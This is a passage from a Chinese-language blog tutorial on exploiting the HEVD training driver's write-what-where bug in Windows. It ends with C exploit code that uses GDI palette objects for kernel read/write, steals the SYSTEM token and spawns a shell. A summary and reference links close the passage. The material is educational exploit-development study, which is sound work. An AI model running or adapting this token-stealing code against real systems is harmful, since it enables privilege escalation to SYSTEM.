readOOB(Worker_Palette->_hpalette, Manager_Palette->_hpalette, (DWORD64*)((PUCHAR)lpSystemEPROCESS + 0x358), (BYTE*)&lpSystemToken, sizeof(DWORD64));
readOOB(Worker_Palette->_hpalette, Manager_Palette->_hpalette, (DWORD64*)((PUCHAR)lpSystemEPROCESS + 0x2f0), (BYTE*)&lpNextEntryAddreess, sizeof(LIST_ENTRY));
printf("[+]system process PID is: 0x%llX \n", lpSysProcID);
printf("[+]system process address is: 0x%p\n", lpSystemEPROCESS);
printf("[+]Next Process AT: 0x%p\n", lpNextEntryAddreess.Flink);
printf("[+]system process token value is: 0x%p\n", lpSystemToken);
DWORD64 currentProcessID = GetCurrentProcessId();
printf("current Process id is %llX", currentProcessID);
//DWORD64 currentProcessID = GetCurrentProcessId();
LPVOID lpNextEPROCESS = NULL;
LPVOID lpCurrentPID = NULL;
LPVOID lpCurrentToken = NULL;
DWORD dwCurrentPID;
do
{
lpNextEPROCESS = (PUCHAR)lpNextEntryAddreess.Flink - 0x2e8;
readOOB(Worker_Palette->_hpalette, Manager_Palette->_hpalette, (DWORD64*)((PUCHAR)lpNextEPROCESS + 0x2e0), (BYTE*)&lpCurrentPID, sizeof(DWORD64));
dwCurrentPID = LOWORD(lpCurrentPID);
printf("dwCurrentPID %llX\n", dwCurrentPID);
readOOB(Worker_Palette->_hpalette, Manager_Palette->_hpalette, (DWORD64*)((PUCHAR)lpNextEPROCESS + 0x2e8), (BYTE*)&lpNextEntryAddreess, sizeof(LIST_ENTRY));
} while (dwCurrentPID != currentProcessID);
DWORD64 currentTokenAddress = (DWORD64)lpNextEPROCESS + 0x358;
printf("[+]Start to write token");
writeOOB(Worker_Palette->_hpalette, Manager_Palette->_hpalette, currentTokenAddress, (BYTE*)&lpSystemToken, sizeof(DWORD64));
printf(" ====> done! \n");
}
int main() {
init();//Load HEVD Driver and init exploit attack function
BOOL bFound = FindHMValidateHandle();
if (!bFound) {
printf("Failed to locate HmValidateHandle, exiting\n");
return 0;
}
printf("[+]Found location of HMValidateHandle in user32.dll\n");
Manager_Palette = CreatePaletteInHole();
printf("create manager palette success!!!\n");
if (!Manager_Palette)
{
printf("Make Manager Palette failure...\n");
return 0;
}
//Int_3();
printf("[+]Manager Palette HPALETTE: 0x%p, Kernel Address: 0x%llx\n", (PVOID)Manager_Palette->_hpalette, Manager_Palette->_kobj_palette);
__debugbreak();
Worker_Palette = CreatePaletteInHole();
if (!Worker_Palette)
{
printf("Make Worker Palette failure...\n");
return 0;
}
//Int_3();
printf("Worker Palette HPALETTE: 0x%p, Kernel Address: 0x%llx\n", (PVOID)Worker_Palette->_hpalette, Worker_Palette->_kobj_palette);
WriteWhatWhere = (PWRITE_WHAT_WHERE)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
sizeof(WRITE_WHAT_WHERE));
if (!WriteWhatWhere) {
printf("Failed To Allocate Memory: 0x%X\n", GetLastError());
exit(-1);
}
printf("Memory Allocated: 0x%p\n", WriteWhatWhere);
DWORD64 pFirstColorOffset = 0x78;
DWORD64 Manager_pFirstColor = Manager_Palette->_kobj_palette + pFirstColorOffset;
DWORD64 Worker_pFirstColor = Worker_Palette->_kobj_palette + pFirstColorOffset;
printf("Overwrite Manager Palette pFirstColor: 0x%p\n", Manager_pFirstColor);
printf("value is Worker Palette pFirstColor: 0x%p\n", Worker_pFirstColor);
WriteWhatWhere->What = (PULONG_PTR)&Worker_pFirstColor;
WriteWhatWhere->Where = (PULONG_PTR)Manager_pFirstColor;
printf("WriteWhatWhere->What %llX", WriteWhatWhere->What);
printf("WriteWhatWhere->Where %llX", WriteWhatWhere->Where);
DeviceIoControl(hDevice, 0x0022200B, (LPVOID)WriteWhatWhere, sizeof(WriteWhatWhere), NULL, 0, &BytesReturned, NULL);
stealToken();
CreateCmd();
system("pause");
return 0;
}
最后可以看到提权成功:
0x07:总结
首先一点就是我在学习过程中经常碰到一些陌生的名词,让人很困扰.所以我在这篇文章里尽量少提相关的名词,并把它们关联起来.还有一点就是上一篇文章还是不够严谨,出现了一些错误,然后就是感到抱歉,过了这么久才回复指出我错误的师傅,最后,感谢指出我错误的师傅.
0x08:参考
代码参考
https://50u1w4y.github.io/site/HEVD/bitmap/
https://blog.ycdxsb.cn/ec47a9ad.html
https://github.com/ThunderJie/Write-What-Where
https://github.com/k0keoyo/HEVD-Arbitrary-Overwrite-Exploit-Win10-rs3
https://www.whsgwl.net/blog/CVE-2018-8453_1.html#0x00
https://ti.qianxin.com/blog/articles/cve-2018-8453-win32k-elevation-of-privilege-vulnerability-targeting-the-middle-east-en/
理论参考
https://paper.seebug.org/?keyword=Windows+Kernel+Exploit+Part+
https://thunderjie.github.io/2019/08/19/www%E6%BC%8F%E6%B4%9E%E4%BB%8Ewin7-win10/#more
extension://bfdogplmndidlpjfhoijckpakkdjkkil/pdf/viewer.html?file=https%3A%2F%2Flabs.bluefrostsecurity.de%2Ffiles%2FAbusing_GDI_for_ring0_exploit_primitives_Evolution_Slides.pdf
https://www.fuzzysecurity.com/tutorials/expDev/21.html
https://www.fuzzysecurity.com/tutorials/expDev/22.html
https://labs.f-secure.com/archive/a-tale-of-bitmaps/
extension://bfdogplmndidlpjfhoijckpakkdjkkil/pdf/viewer.html?file=https%3A%2F%2Fcensus-labs.com%2Fmedia%2Fwindows_10_rs2_rs3_exploitation_primitives.pdf
https://www.coresecurity.com/core-labs/articles/abusing-gdi-for-ring0-exploit-primitives
https://sensepost.com/blog/2017/abusing-gdi-objects-for-ring0-primitives-revolution/
https://www.offensivecon.org/speakers/2018/nick-sampanis.html
https://blogs.360.cn/post/save-and-reborn-gdi-data-only-attack-from-win32k-typeisolation-2.html
发表评论
您还未登录,请先登录。
登录